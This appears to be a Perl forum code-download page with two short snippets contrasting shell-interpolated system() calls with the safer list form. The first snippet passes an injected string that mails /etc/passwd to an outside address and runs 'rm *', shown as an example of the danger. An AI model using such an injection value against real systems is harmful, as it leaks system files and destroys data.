Help for this page

Select Code to Download


  1. or download this
    bad_system('foo; mail me@me.com < /etc/passwd; rm *');
    sub bad_system {
    ...
        system("echo $password | foo -args file");
    }
    #Uh oh!
    
  2. or download this
    system("/bin/echo", "arg1", "arg2");